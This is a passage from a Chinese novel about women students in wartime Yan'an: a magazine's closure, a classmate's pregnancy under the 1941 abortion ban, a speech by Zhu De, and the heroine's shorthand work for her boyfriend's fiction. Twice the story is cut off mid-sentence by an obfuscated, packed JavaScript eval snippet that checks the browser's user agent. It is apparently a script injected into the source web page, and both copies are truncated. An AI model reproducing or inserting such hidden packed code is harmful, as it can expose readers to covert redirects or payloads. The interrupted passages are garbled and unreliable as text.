要说《中国妇女》,撰稿人相当一部分确实鼎鼎大名,比如邓颖超、张琴秋、丁玲、蔡畅、康克清、朱仲丽,就连毛主席、朱总司令,也都给杂志写稿,那水平是非常的高,不过在此之外,还有许多通讯员,专门报道普通妇女的生活,文字相当的浅近平实,非常鲜活的,就很投合段葵芳这一类妇女同志的口味,不但段葵芳,黄菲也很喜欢看,觉得是有一种活泼泼的兴味,读着这些文字,就好像回到了乳母的家中,带着乡间泥土的气息,与母亲精致的房间是不一样的。 “究竟是为什么不出了呢?莫非是没有钱来办?” “我听说,那些编辑呀,还有什么什么的,都是没有工资拿的。” “可能就是为着这个,实在做不下去了吧?” “要说她们不拿钱一直干了这么久,也是蛮辛苦的,能坚持到今天,够不容易的了,也难怪停办了。” 熊晖情绪很是激动地提议:“不如我们来捐款吧,捐钱给杂志社,让《中国妇女》能够继续办下去,那是我们精神的家园啊!我离开了自己的家,就是为了找这样的一个家!” 黄菲当即附议:“我捐一百!” 是自己剩下差不多所有的钱,之后就希望家里能够快一点再寄钱来,一时寄不过来也没什么,反正天气很快转暖,可以下河洗澡了。 潘岳荣和高明霖也都报了数目,段葵芳瞥了她们一眼,可真有钱,这些小姐同志,不过这种时候还真多亏了她们手里的钱。 学生们的议论,很快便给校方知道,这一天课后,□□与学生一起讨论时政的时候,很认真地说:“只想着妇女自身的问题,是狭隘的妇女解放,是主观主义、教条主义、形式主义,是资产阶级的女权,无产阶级的女权是要有更加广阔的眼界,更崇高的目标,要与国家和民族相结合,这才是妇女的出路。因应形势的需求,《中国妇女》停办了,是很可惜,但是难道从此就没有别的可以看吗?还有《新中华报》嘛,还有《今日新闻》嘛,怎么就没有东西可看?” 他的这一番批判,让学生们都默默低头,脸上露出惭愧的神色,黄菲一时间也很有些懊悔,自己之前为什么有那么多的抱怨?是啊,虽然《中国妇女》停刊,但此外还有许多书报可读,都是见解很精辟,很有分量的啊,景斌还介绍给自己许多的书,自己现在还没有时间一一读过,所以怎么就会无书可读呢?看来还是自身的政治觉悟太低,才会有这样肤浅的想法。 想着想着,黄菲不知怎么脱口便说出:“先生,在哪里可以找到鲁迅先生的书?” 在平乐,黄老爷烧了鲁迅的书。 教yuan看了她一眼,道:“在延安,我们都学习毛主席的著作。” 9. 第九章 孩子啊孩子 第九章 孩子啊孩子 四月里,延安的天气已经趋向温暖,十三号是礼拜天,早上黄菲起来了,刷牙洗脸,便把被子抱出去,晒在窑洞门前两棵树之间拴起的一条绳子上。 延安啊,虽然是气候干燥,但窑洞里面潮湿,被褥容易发霉,所以只要天气好,空闲时便要早起晒被子。 黄菲正拿一根小小的木棍,敲打着被子上的灰尘,“噗噗”,木棍落处,阳光中便可见一缕细细的灰从被子里腾起,忽然间便看到段葵芳捂着脸,从前面路上踉跄着走过。 黄菲很有些诧异,正想问她“怎么了”,她却已经匆匆地过去了。 黄菲觉得这件事很是奇怪,回头便和高明霖她们说了,到了下午,终于有确切的消息传来,段葵芳怀孕了。 与黄菲这一班女学生不同,段葵芳是已经结了婚,有丈夫的,相当一部分年纪大一点的女同学,都是结过婚的,每当礼拜六的傍晚,她们的丈夫就在女大的校门口等候,接妻子回家里去,仿佛过节一般,热闹得很,就是在这样的团聚之中,段葵芳一个不留意,便怀孕了。 听到了原来是这样,熊晖她们啧啧连声: “她要作妈妈了呀!” “那么学业怎么办?要休学吗?” “还不至于吧,十月怀胎呢,又不是马上就要生了,总可以再读一阵的。” “然后呢?她和我们一起入校的,要毕业还得再读一年。” “等到真的生了孩子再说咯,或者休学一阵,然后再回来,只是无论如何,大概要比我们晚一年毕业了。” 大家便聊起要去看一看段葵芳,毕竟怀孕是一件大喜事呢,一群没有结婚的女生议论着这件事,嘻嘻哈哈,都觉得有点不好意思,不过到底是同学怀孕,虽然不是同班,彼此终究认识,平时见了面都会说话的,这种时候仍然要去看一看,于是大家便凑钱买了一点柿饼,呼啦啦都涌去段葵芳的窑洞。 到了那里,便看到段葵芳坐在炕上,眼圈儿红红的,显然刚刚哭过,本来大家是兴冲冲来的,预备有好一番恭喜的话要说,一见如此情景,便也晓得不该这般兴高采烈,便各个收敛了神情,悄声屏气,轻轻地说话:“葵芳姐,你不高兴么?” 段葵芳向她们望了一望,都是十八九岁,二十出头,正在好时候,年轻鲜活的姑娘,段葵芳擤了一把鼻子,说道:“这种事,有什么可高兴的?” “啊!怎么??” 段葵芳手指狠狠抠着褥子:“女同志如果有了孩子,就不要再想革命了,孩子死死拴着你!” 然后扳着手指,一件件诉说,分娩的苦痛,哺育的艰难,有了孩子,什么都不能干。 潘岳荣眼珠飞快地转:“或者找一家稳妥的老乡,送去寄养?” 段葵芳苦笑一声:“送老乡家寄养?那这孩子还想不想要她活?你以为那是多么好的地方吗?我和你说,你将来倘若真有了孩子,若想要她长得大呢,就自己带,千万不要送去老乡家,那就是孩子一只脚进了阎王殿,八成是死了。” 陕北老乡家,喂给孩子小米汤,碗里还溺死苍蝇,潘岳荣听得变了脸色,其她人也都感觉后颈发凉。 黄菲听着听着,或许也是太感觉惊悚吧,忽然间冒出一句话来:“或者打胎吧。” 陈露云在旁边噗嗤一笑,推了黄菲一把:“她是有丈夫的,名正言顺,又不是私生,打的什么胎?” 黄菲的脸胀红了,便不再多说,转头看向桌子上的暖水瓶。 段葵芳则是冷笑一声:“打胎?你当现在的延安还可以容许女人打胎?早就不许了啊,就在今年一月里,定下来的条例,倘若是私自打胎,可是按犯罪来算呢。” 几个女学生登时大惊失色,连陈露云都变了脸色:“有这样的事?” 然而她马上又仿佛在安慰自己一般:“其实也没什么,第一个孩子本来便不好打的,若是堕了头胎,今后都只怕生不出来,伤得很厉害呢。” 段葵芳到这时,暂时把伤心放下了,冲着陈露云翻了个白眼:“既然真的觉得没什么,你还慌什么?看你那脸色,都发白了呢。” 就为了自己方才那几句话,陈露云漂亮的小脸陡然青白。 要说陈露云,着实是个美女,虽然还称不上是大美人,但在女大也是小有名气,也不知从哪里学来的法子,找了白线来,织成了一个假领子,就缝在灰布军装的里面,一眼看去就好像穿了一件白衬衣,格外的洋气。 段葵芳向来不太喜欢漂亮女人,总觉得她们是绣花枕头,就和太过漂亮的男人一样,空有一张脸好看,耐不得辛劳,而且头脑也往往不太好用,就比如陈露云,来延安都大半年了,有时候说起话来,还是一副资产阶级小姐的腔调,就想着怎么抄近路享福,然而世上哪有那样的好事? 不过如今想来,陈露云倒也不完全像自己想的那样,头脑空空,就比如现在,她倒是明白的,不能够打胎,那可真有些危险。 大家又说了一阵话,安慰段葵芳,让她不要太过担心,组织上对孩子肯定是会照顾的,然后便心事重重回到自己的窑洞,进门之后,便都炸了开来: “到底是怎么回事?竟然从来不知道的,延安怎么会有这样的法律?” “这不是共产党的法律,是国民党的法律,不是延安的规定,是重庆的规定。” “一定是特务出的主意,我们这里有日本人派来的内奸!” 大家愤愤不平。 黄菲想的是:“现在的延安,就已经是只能吃小米了,孩子养下来,拿什么给她吃呢?” 熊晖道:“我们去问问教育长,究竟是怎样一回事。” 听她这样一建议,其她人都觉得有理,于是便纷纷站起来,出了窑洞,往教育长宿舍快步走去。 张琴秋正坐在自己的窑洞之中,看着最新发下来的文件,忽然间门外有人在喊:“教育长,你在吗?” 张琴秋放下文件,微微一笑,过去开了门:“啊,熊晖,黄菲,你们来了,正巧刚刚有人送来一块火腿,你们帮我鉴定鉴定,是不是真正的金华火腿?” 张琴秋为人很风趣,她在延安有很高的威望,有时候便会得到别人的馈赠,这种时候,她从来不会自己享受,总是会分给学生一起吃,她方才那两句话还有个典故,有一回,人家送给她福建的线面,碰巧给高明霖知道了,便玩笑着说:“教育长,要不要我帮你鉴定一下,是不是真正的福州线面?” 高明霖是福建人。 张琴秋笑道:“欢迎欢迎,正想找一位行家来判定一下,晚上一起去我那里吃线面。” 然而一看门口,熊晖几个人脸色都不太对,不再是一向朝气蓬勃的热烈样子,而是都沉着脸,好像有什么事情受了打击。 张琴秋便说:“快到里面坐。” 大家涌进了窑洞,坐下来之后,熊晖劈面便问:“教育长,延安是不是真的规定,不准堕胎?” 张琴秋一听她提出了这个问题,一颗心登时也是一沉,与这些年轻的女生不同,这件事她是早已经知道了的,当时心中也掀起波澜,然而经过这样一段时间,张琴秋的思想已经确定了下来,此时她的目光缓缓从面前一张张青春纯净的面孔上掠过,慢慢地说:“有的时候,个人的权利要服从大局。” 这是没有解释的解释,与高明霖、黄菲这些女孩子不同,张琴秋闯过许多枪林弹雨,经历了多少风霜,当年在红四方面军当政治部主任,红四方面军在长征中最为惨烈,光是草地就过了三回,分散突围的时候,张琴秋不幸被俘,之后做苦工,蹲监牢,好容易国共谈判,她死里逃生,来到延安,当时是感到好像回了家一样,是那样的亲切温暖,安全可靠。 然而如今,自己的家却制定了这样的规定,就在去年十二月三十一日,陕甘宁边区政府民政厅颁发了保育儿童决定,今年的一月二十一日正式修正施行,那里面明确规定,“严禁打胎。有特殊情形,经医生证明及当地政府批准,才可经医生打胎;私自打胎者以犯罪论。” 当时看到这两列字,张琴秋的心里就咯噔一下,终究还是通过了,这一条禁止堕胎的条款,为了这个,许多女同志都抗争过,然而终于阻止不了,上面给出的理由是:服从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样的发问之后没过几天,到了周三政治课的时候,教yuan便对大家讲:“个人幸存不是妇女运动的主题,民族的出路才是结论所在。” 这是他内心真实的认定,妇女运动本身并不是终极目的,之所以要开展妇运,是为了国家和民族的解放,禁止堕胎这件事虽然有些残酷,但现在别无选择,抗战本来就消耗巨大的资源,不单是物质资源,也如同怪兽一样吞噬着大量的人口,前方每天都在死人,这个数额是一定要补充的,这就需要妇女同志多生孩子,否则就是只有消耗,没有生产。 他也知道相当一部分女同志,把生育当做是畏途,想方设法避免怀孕,即使怀了孕,也会寻求堕胎的办法,这样怎么行呢?这是对中国革命的不负责任,对抗战职责的逃避,而自从皖南事变,人口增长方面的需求压力就更大了,不仅要抗日,还要对付老蒋,这都需要人,所以这样的法规,就是不可避免的了,他个人是虽然同情,但是不得不默然承认的。 听了教yuan这样的忠告,黄菲这一个礼拜天的下午,一个人慢慢散步,便来到了空荡荡的延安城外。 站在古老的城墙下,仰望着巍峨的鼓楼,如今已经没有人在上面击鼓,然而此时,看着城墙上风霜的痕迹,依然能够想象到当年的暮鼓晨钟,延安,这一座千年的古城,记录了多少历史,何其的厚重,只是看着这一道城墙,还有上方陈旧的鼓楼,便感觉沉重的往事扑面而来,虽然那许多故事自己都没有亲历。 黄菲出了一会儿神,目光在城墙上移动起来,不多时便发现了弹坑,那是日机轰炸的弹片留下的痕迹,在地面上,也有深深的弹坑,延安就如同重庆一样,都经历了日寇残暴的、不人道的轰炸。 她想到了当前如火如荼的抗战,想到了中华民族的命运,想到中国妇女的命运,又想到自己将来的前景,种种思绪在她的头脑中搅来搅去,让她的脑子逐渐变得混乱,到后来竟然开始头疼起来。 这个时候,一群寒鸦不知给什么惊动,从城楼上成群地飞起,半个天空喧嚷着“哇……哇……”的叫声,黄菲定了定神,她现在能够确定的只有一件事,就是自己要努力学习,努力工作,为自己,也为民族,争取一个光明的未来。 10. 第十章 西行漫记 第十章 西行漫记 一个春季,都是开荒,山坡上层层叠叠的田地,种满了小米和白菜,还有南瓜。 到了六月里,这一个礼拜天的下午,有朱总司令的报告,大家都去听,朱老总大概是事情忙,一时没有来。 在延安往往是这样,定好的时间,总是不能准点进行,比如听报告,延迟半个小时甚至一个小时都并不意外,除了真的有事情拖延,比如这一次,其她许多时候,也是因为许多人没有手表,延安的手表太宝贵,都是要高级干部才能配有一块,黄菲从前有一块怀表的,不过前不久不知怎么,坏掉了,如今她也如同其她人一样,都是靠太阳月亮来推算时间。 等待朱老总的时候,大家便凑在一起,嘁嘁喳喳地聊天,聊得相当热烈,中心话题就是女大最近的一个新闻,一个女学生给一位团长看中,两个人谈起了恋爱,两个月前刚刚结婚,现在女学生就闹着要离婚,说团长老封建,不尊重女同志。 女生们都很是愤愤: “已经是革命同志,为什么还要这样呢?” “难道政治课上那些理论,都只是白白读过去么?” 一个男生,就是景斌同宿舍的同学,叫做马友和的,哈哈地笑起来:“她想当首长夫人啊,难怪会如此,女人爱慕虚荣,崇拜权威,就容易受这样的害。” 想离婚,离不了,整天四处找人伸冤,然而还不知什么时候可以离得开呢。 熊晖听了这几句话,登时差一点跳了起来,睁圆了眼睛,说道:“她敬重英雄,有什么错呢?怎么就说到是虚荣呢?在延安,哪个不敬仰英雄呢?就算真有一点虚荣,也不应该受到这样的对待。” 马友和嘎嘎地乐:“你自己也说,是有一点虚荣的,官太太不是那么好当的,想这样一步登天,就要考虑到会付出什么。” 熊晖的脸涨得通红,她向来是个容易激动的人,对于各种理论十分执拗,眼看着就要站起来和他辩论,黄菲在一旁咯咯笑了:“你虽然不是老干部,说起话来却也好像老干部一样。” 她这一句话说出来,周围的人都哄笑起来,沈芒含笑打着圆场:“英雄确实了不起,也难怪得到大家的敬佩,只不过如果读书少,思想就难免有一点陈旧,不容易很快更新过来。” 马友和也打着哈哈:“是啊,是啊,哈哈哈哈……” 不由得便瞥了黄菲一眼,景斌的这个女朋友啊,别看年纪小,又文文静静的,看起来不太像革命队伍里的女同志——那些女同志,包括女学生,哪怕原本是读得书多了,一派婉约格调,到了延安不多久,也都给锤炼得风风火火的,直来直去——不过景斌的小恋人倒真有一点手腕,还带着闺秀的风格,瞧她说出来的话,拐弯抹角,针尖包裹在棉纱里,挺有外交水平,让人恼也不是,笑也不是。 这时候沈芒一转头,看到一个人影,连忙站起来招呼:“景斌!在这里!快来!” 只见那边一个人,艰难地从拥作一团的人群之中奋力挤了过来,就好像巨大的风浪之中,一个人用尽全力游向岸边。 是景斌,刚刚才从边区的乡村访问回来的,黄菲一看到他,两眼登时格外的亮,脸色绯红,抿嘴笑着不说话。 又过了一段时间,前方人群激动起来,是朱老总来了,于是大家不再闲谈,场地之中很快安静下来,人们都专注地听朱总司令的报告,朱老总声音洪亮,一连讲了三个钟头:“当前抗战正在僵持之中……中华民族付出巨大的牺牲,消耗日本的国力,未来必然属于中国……争取国际支持……” 报告一直持续到了傍晚,朱总司令的讲话结束了,会场之中爆发出雷鸣般的掌声,那种热情如同排山倒海一样,汇向台上的总司令,总司令向大家挥手致意,转身准备离开,然而他一时还不能走,因为有许多人涌过来,和他说话,询问问题,还请他签名。 黄菲手中高高地举着一个笔记本,景斌在她前面,努力地开辟道路,虽然是用头脑工作的人,不过毕竟是个男人,力气更大一些,他在前头分开两边的人,挤出一条窄窄的空隙,黄菲紧跟在后面,随着便一点点靠近了,等她们两个经过,方才那一点点缝隙马上便消失不见,重新密不透风,就如同小船划过水面,那一条痕迹瞬间便给波浪覆盖。 终于到了主席台前,黄菲仰着头,望着前方那一张宽阔慈祥的脸,朱老总,多么像自己的爷爷。 自己出生之前,祖父已经死去,自己对祖父的印象,只是祠堂之中悬挂的那一幅画像,每年春节,拜祠堂的时候见到过,要说这一点,父亲的家中倒是比鲁迅先生的《祝福》好一些,《祝福》之中,迎福神是“拜的却只限于男人”,而父亲家中,母亲和儿媳女儿也都可以一同拜,无论是拜什么。 因此黄菲得以见到祖父的画像,是一个很清瘦的老年男人,脸看上去硬硬的,两只眼睛射出冷冷的光,一个很严肃很威严的人,让人一看就容易心里发慌,不但是他,以往先祖的画像也都是这样,当初虽然是上好的纸,然而经历了这样久的年月,都已经发黄变脆,蜡黄的纸,就好像肝病人蜡黄的脸,老祖母们的画像则是一味端庄雍容,好像每个人都是非常贤德的,有时候黄菲突发奇想,竟然想到将来母亲的身形相貌画在上面,只怕也是一样,仿佛是一个心满意足的贵妇人,虽然自己分明知道,母亲背地里对父亲有多少诅咒。 所以对于画像中的祖父,黄菲实在难以发生亲切感,她心目中的爷爷,就是朱老总这个样子,宽厚,慈爱,豁达,善良,而且又十分坚强,如果自己能有这样一个祖父,该有多好。 黄菲伸长了胳膊,将日记本递到了总司令的面前:“朱老总,帮我题个字吧,请多写几句话!” 朱德从密密麻麻排在面前的十几个笔记本中,拿了这一本,认真地看了一看面前这一个年轻的学生,女孩子兴奋得脸都红了,无限憧憬地望着自己,他笑了一笑,仔细想了想,用钢笔在日记本的扉页上写了两句话:“中国妇女觉醒之日,就是革命胜利之时,中华民族的解放,就是妇女的解放。朱德一九四一年六月十五日” 然后将日记本向前递回给了黄菲。 黄菲接过日记本,立刻将它紧紧贴在胸口,心中无限欢喜,只觉得这是自己一生中最重要的一件宝物。 这一天报告会散去之后,吃过了晚饭,黄菲与景斌沿着延河漫步,谈着这一天报告会的感想:“美国对中国的抗战是支持的啊!” 景斌点了点头:“史沫特莱女士回到美国,一定会为我们宣传的。” 黄菲感叹道:“国外的很多人,都对中国很友好的。” 景斌深有同感:“是啊,中国的抗战,需要国际上的支持,很多国际友人,都对中国的抗战和革命很热情的。” 一说到国际上的朋友,黄菲立刻想起了一个人:“啊,我知道的,斯诺先生,还有他那一本《西行漫记》!” 景斌笑了起来:“是的,埃德加·斯诺,他的那一本写延安的书,在中外影响很大,记得你曾经说,从前也是读过的。” 黄菲重重地连点几下头:“是啊是啊,这本书真是太好了,我反复看了几遍,就是看了这本书,我才下定决心来延安。” 于是黄菲絮絮地说起自己读《西行漫记》的感受:“真的是太好了,延安,苏维埃,如果欠了债,由男人负担,他还要付孩子的生活费!” 假如离婚,有债务的话,妻子是不负责还债的,养孩子的大部分费用也是男子要出的。 当时读这一段话,黄菲的心特别激动,想到了自己的大姐,她的嫁妆给丈夫夺去变卖了来还债,大姐是家中第一个孩子,虽然是女孩,双亲对她也比较疼爱,以为后来还有许多的希望,很不必急于一时,她当年出嫁的时候,家里给了大笔的嫁妆,本来以为她靠着这些财物,可以在夫家有地位,最起码可以保持住自己的生活,哪知丈夫生意失败,都给抢走了。 从那以后,黄菲便陆续知道了许多这类事,大姐的丈夫还算是正经的,赔钱是为了做生意,另有一些男人就更加糟糕,吃喝嫖赌,败坏了家业,弄到把妻子的嫁妆也赔进去 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然后,两个人便谈着景斌去到乡村的见闻,景斌两眼放着光,谈起他要创作的小说,他在农村住了半个多月的时间,与农民吃住在一起,还一同下田劳动,除了一条垄的草之后,终于得以一屁股坐下来休息,这个时候就一边大口喝着凉开水,一边听农友们闲谈,讲村里的事,对于生产,人们是多么的踊跃,尤其妇女同志,在妇救会的组织下,格外有热情,从八十几岁的老大娘,到七八岁的小女孩,要么下田,要么拾柴,干得热火朝天,简直有冲天的干劲。 景斌兴致勃勃:“边区能够得以维持,有妇女一半功劳。” 黄菲情绪也很是振奋:“国民党想要封锁我们,他封锁不住的。” 外界运不进食物衣服,可以自己生产,如今同学们每天晚上,都纺纱到半夜,那几块田地也精心料理,白菜一棵棵都长得极为肥硕。 景斌往口袋里摸烟:“只可惜也依然有二流子,有一些人,受了封建文化的荼毒,弄到游手好闲,非常的堕落,完全就是废人,虽然活着,却好像死的一样,当然倒也是无产者的,家里非常贫穷,然而偷鸡摸狗,坑蒙拐骗,就是社会的渣滓,好像蚂蟥一样的吸血,比如刘二混,从前靠赌博为生,聚赌抽头,还有韩老婆,给人跳大神的,红军来了之后,禁止这些封建迷信,她明面上不能跳神,暗地里偷偷地给人家跳,还算命,给群众揭发出来,批判了她,但愿能改……” 黄菲笑弯了腰:“啊哟,还有女二流子?” 景斌从烟盒里拿出唯一的一支烟,点着了火,衔在两片嘴唇之间,点头笑道:“有的啊,比男的少些,大概女人毕竟面皮薄一些,不像男人,皮糙肉厚,有一些真的是厚颜无耻。边区如今面对如此严峻的局势,怎么能继续放任这样的人?这日子过得,连烟都没得抽,这是最后一支了。” 黄菲笑着说:“烟抽完了,你不会去买?” 景斌摇头笑道:“哪里买得起?你到合作社看看,原本一毛钱一盒,现在已经涨到二十块了。” 黄菲嘻嘻地笑:“这样贵了啊,其实不抽更好,抽烟伤身体,牙齿又容易发黄,我看到一些老汉,几十年抽旱烟,牙都焦黄了呢,有的还豁了口,好像一个城门洞一样,还是给火烧过了的,烟熏火燎,你想要激发文思,就喝茶吧,不是有桂花茶?” 景斌哈哈乐起来:“还喝茶呢,早就给那帮家伙‘共产’了,晚上熬夜看书写稿子,一个个都要茶水提神,那么一小包茶叶,不过两个礼拜就瓜分完了,还得说你家乡的桂花茶真是好,大家都爱喝,什么时候很盼着能再喝一次。” 黄菲笑道:“我也是很想家里能再寄东西来,可是这么久了,妈妈连一封信都捎不进来的。” 景斌龇牙咧嘴:“真正叫做‘水泄不通’,如今的边区,连一只蚊子都飞不进来的。” 黄菲咯咯地乐:“‘革命虫’也出不去。” 景斌更加乐了:“对嘛,很该让外面的人,也都经受一下虱子跳蚤的考验,就能更有抗战精神。” 然后说:“从明天起,就要开始动笔写我的小说,一路上框架已经构思好了,只等落笔。” 黄菲也很是起劲,自告奋勇:“我来给你记录,保管又快又好,不会中断你的思路。” 景斌笑道:“那可是要辛苦你了。” 黄菲笑着说:“有什么辛苦?就只当做练习,说不定将来,就要出一个文豪呢!” 景斌哈哈地乐:“你太偏爱我。” 11. 第十一章 失落的家园 第十一章 失落的家园 果然从第二天开始,黄菲每天当日的课业完成,就去景斌那里,给他作速记,景斌是一个头脑很活跃的人,神经不断地跳动,各种想法纷繁涌来,黄菲坐在炕桌边,耳朵里听着景斌口中倾泻出来的一连串词汇,手中的铅笔不停地在纸上沙沙沙地划着。 对于黄菲的速记,沈芒他们也很以为有趣,马友和凑过来,看着她写在笔记本上的东西,啧啧连声:“啊哟哟,这都是些什么鬼画符?有些看起来也是中国字,可是我怎么偏偏就是不认得的?” 多数都是稀奇古怪的符号,少量方块字,都是笔画很少的那种,汉字本来自己认识,可是放在那一堆天师符里面,愣是不知道是什么意思。 黄菲抿着嘴一笑,随口说了一句:“密码,不能告诉你。” 手上依然不停地记着。 沈芒笑道:“速记真的是专门技术呢,我们外行看起来,确实和摩尔斯密码差不多。” 这一个晚上,景斌口授了不知几千字,还在不停地说,沈芒探头到窑洞门外,外面月亮已经升得很高了,便笑着说:“已经很晚了,大概有十一二点吧?你们还要继续写吗?” 景斌这个时候也从写作的激情之中稍稍清醒过来,一看天色,果然已经将近半夜,便收束住了依然纷涌的思绪,笑道:“真的已经太晚了,黄菲同志,很不好意思,辛苦你这么久,我送你回去吧。” 黄菲转过脸一笑,手里仍握着笔:“没什么的,趁着你思路正敏捷,就多录一些。” 景斌摇头:“今天差不多了,之前的想法,多已经说了出来,现在没有太多东西可说,况且你回头还要整理。快快回去休息吧,明天晚上我们再来记录。” 黄菲见他不肯再口授,便笑着站起来,将笔记本夹在腋下,向其他人道别,两个人走了出去。 路上,景斌的兴致很快重新提了起来,又谈起了他的小说,他在文学上的志向,黄菲不说什么,笑眯眯地只是听着。 次日六月十七号,黄菲午饭都顾不得正经吃,匆匆吞了几口小米饭,便回去窑洞赶快整理昨天的速记,真是不少呢,之前估计是七八千字,真正重录在纸上,才发现已经过了万字,昨天晚间一个多钟头,就是这么多字,单纯记速记,倒是节约时间,可是现在要恢复成通常的文字,就格外耗费工夫,要写的字多出了许多,而且笔画也多,不是速记符号那样的简约,而自己下午还有课,晚上又已经答应了景斌,要去他那里再做速记,一想到这些,黄菲就觉得有点喘不过气来。 她深呼吸,定了定神,然而无论如何,自己是可以坚持的。 之后的一周时间,黄菲每天都为景斌做速记,尤其是礼拜天,别人出去看秧歌,她们两个人在窑洞里一个口授,一个记录,一整天录了几万字,黄菲回去连夜誊写出来,第二天傍晚,眼睛红红地交给了景斌,景斌接过那笔迹清秀、工工整整的稿子,一列列看着上面的字,十分欣喜:“黄菲,谢谢你,我这就要投搞到报社去,如果能够发表,一半成就应该属于你。” 黄菲抿嘴笑道:“啊呀,我并没有做什么啊!” 景斌笑着说:“你太谦逊,如果没有你,我不能在这么短的时间里,完成这样一部中篇。” 足足十万字,假如全靠自己的一支笔来写,得多久才能写完?而且在忙于写字的过程中,难免有一些想法会失落了,作家的灵感啊,有的时候就如同白驹过隙,一闪而过,之后再也难以寻觅,那该是多么的可惜呢,虽然不敢与文豪相比,不过景斌对于自己的想法,也是相当的珍视,不愿有所失落。 景斌满怀兴奋地投了稿,之后就一日三次跑传达,盼着通讯员带来消息。 八月初,黄菲这一天午后正在校园内的树下背诵英文单词,忽然间听到有人招呼自己:“黄菲,不要读书了,快来,我们去厨房帮厨!” 黄菲抬起头来,见是麻德芳,正站在那里笑嘻嘻地向自己招手,旁边还立着潘岳荣和陈露云。 天气太热,黄菲有一点懒懒的,背单词让人犯困,便摇了摇头:“我不去了,你们去吧。” 陈露云在一旁乐着说:“傻子,你不去?今天有新鲜的鸡蛋!” 一听说有鸡蛋,黄菲就如同一碗酸梅汤进肚,马上就精神了,一下子就从地上蹦了起来,拍打了两下裤子上的尘土,边跑边说:“等我,我去!” 三个人一路跑到厨房,苗伯一看到她们,把扫帚倚在墙角,笑眯眯地说:“啊也,你们来帮忙了啊!来来来,帮我把这几棵白菜洗干净。” 黄菲她们答应一声,便从水缸里面舀了水,坐在那里一边说笑,一边洗白菜,一片一片叶子剥下来洗,苗伯在旁边忙其它的事,乐呵呵地听着。 陈露云一如既往嘻嘻哈哈:“听说要涨津贴费了呢,就连我们,也要涨到一百元,好大的数目,足足可以买五包烟!” 苗伯一边搅着碗里的鸡蛋,一边慢悠悠地说:“哟,你们年轻的姑娘,买什么烟啊?不要抽烟,抽烟的都不是正经人。” 几个人登时哄笑起来,黄菲也笑,自己把那一百元压箱底的钱给了景斌,景斌死活不肯要,最后只收了五十,说等他有了稿费,请自己吃饭,朋友们知道了这件事,便拿来当做笑话,陈露云已经几次取笑自己,说自己“贤良淑德”,是个好内助,自己便回答她,“这是革命同志的友情!” 而苗伯向来不抽烟,也讨厌人家抽烟,在延安的人,尤其是革命者,少有几个不抽烟的,即使是女同志,也往往能抽几支,然而苗伯很烦抽烟。 倘若苗伯这几句话给传了出去,只怕要得罪许多人,不过自然是没有人会为他鼓吹宣传,大家爱苗伯,就好像爱自己的亲人。 苗伯今年六十几岁,一辈子没有结婚,就是给人烧饭,后来日本人来了,便从湖北流亡到陕北,他慈眉善目,两只眼角和两条眉梢略略往下垂着,面孔白白的,少有胡须,略有一点胖,人特别好,十分关照这些青年学生,总是提醒她们喝开水,不要喝生水,他这里随时也都有开水,好像老妈妈一样,因此黄菲往往不能把他看成自己的爷爷,而是很离奇的当做是自己的老祖母。 苗伯不喜欢抽烟,一个主要的原因是,他特别爱干净,延安虽然缺水,运水要费很大的力气,但是女大厨房的水缸总是满满的,腰间扎了一个雪白的大围裙,从早到晚不停地到处擦抹清扫,灶台和地面什么时候都是干干净净,锅盆擦得闪闪发亮,柴堆得整整齐齐,他对抽烟最讨厌的一点,还不在于味道呛人,或者是吸出肺病,而是飘散的烟灰,很容易落得到处都是。 苗伯认为,烧饭的人尤其是不应该抽烟的,想一想嘴里衔着一支烟卷,随着火星的延伸,前端的灰烬越来越长,自然而然就会掉落在铁锅里,做饭的自己倒是不在意,吃饭的人把烟灰都吃了进去,苗伯以为,这样是不道德的。 几个女学生在这里嬉笑谈天,那边苗伯已经通开了火,烧热油锅,往里面倒了一些菜籽油,然后便浇了一小碗蛋液进去,将鸡蛋炒得金灿灿,用铲子盛出来,这时候潘岳荣几个人已经在悄悄吞口水,连谈天都顾不上了。 苗伯笑眯眯地望了她们一眼,不紧不慢地打开了密封的罐子,从里面舀出几大勺红红黄黄的颗粒,锅里又加了油,把那小颗粒往锅中就是一洒,房屋中登时弥漫起一股浓烈香气,香得十分刺激,是苗伯宝贝的炸胡椒,其实是炸辣椒,配了许多的玉米粉,非常的香。 黄菲在父亲的家中,常吃粉蒸肉,以为蒸熟的米粉比猪肉还要好吃,到了延安,在这里吃到了苗伯的炸胡椒,炸胡椒炒这个,炸胡椒炒那个,觉得比起粉蒸别有一番风味,虽然是条件所限,用了玉米粉,不过黄菲现在已经习惯于吃小米或者玉米,以为比起细腻的白米,格外有生活的火热味道。 不多时,一碗炸胡椒炒鸡蛋便端上了桌面,是苗伯平时自己吃饭的小木桌,只用了一个鸡蛋,余下大半碗都是炸胡椒,苗伯又给她们拿了两个黑乎乎的馍,是高粱面,方才加热过了,此时每个人掰开半个,配炒蛋来吃。 陈露云笑嘻嘻地道谢:“谢谢苗伯,苗伯你真好,就像我的亲爷爷!” 苗伯笑得愈发开怀:“趁热快吃吧,冷了就不好吃了。这里面就属你嘴最甜,好像抹了蜜。” 几个人风卷残云,三两分钟吃完了这一顿加餐,在延安住了超过一年,这个地方的人爱吃辣椒,所以到如今,黄菲自然是不必说了,桂林辣椒酱声名在外,就连陈露云和潘岳荣这两个江南人,都能尝一点辣椒。 辣椒真提味道啊,在陕北,蔬菜的种类是少的,一年到头常吃的就是白菜、南瓜、萝卜、洋芋,饮食非常单调,这种情况下,辣椒就是神仙的法术,只要在菜里面加一点,立刻点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为这样的心事,这一节军事课,大家都没有心情听讲,小组讨论的时候,谈的都是关闭学校之后的出路问题。 陈露云惊惶地看看这个,又看看那个:“学校关了,我们要怎么办?去哪里吃饭睡觉?还发津贴吗?” 熊晖愤愤:“你就只知道这些!” 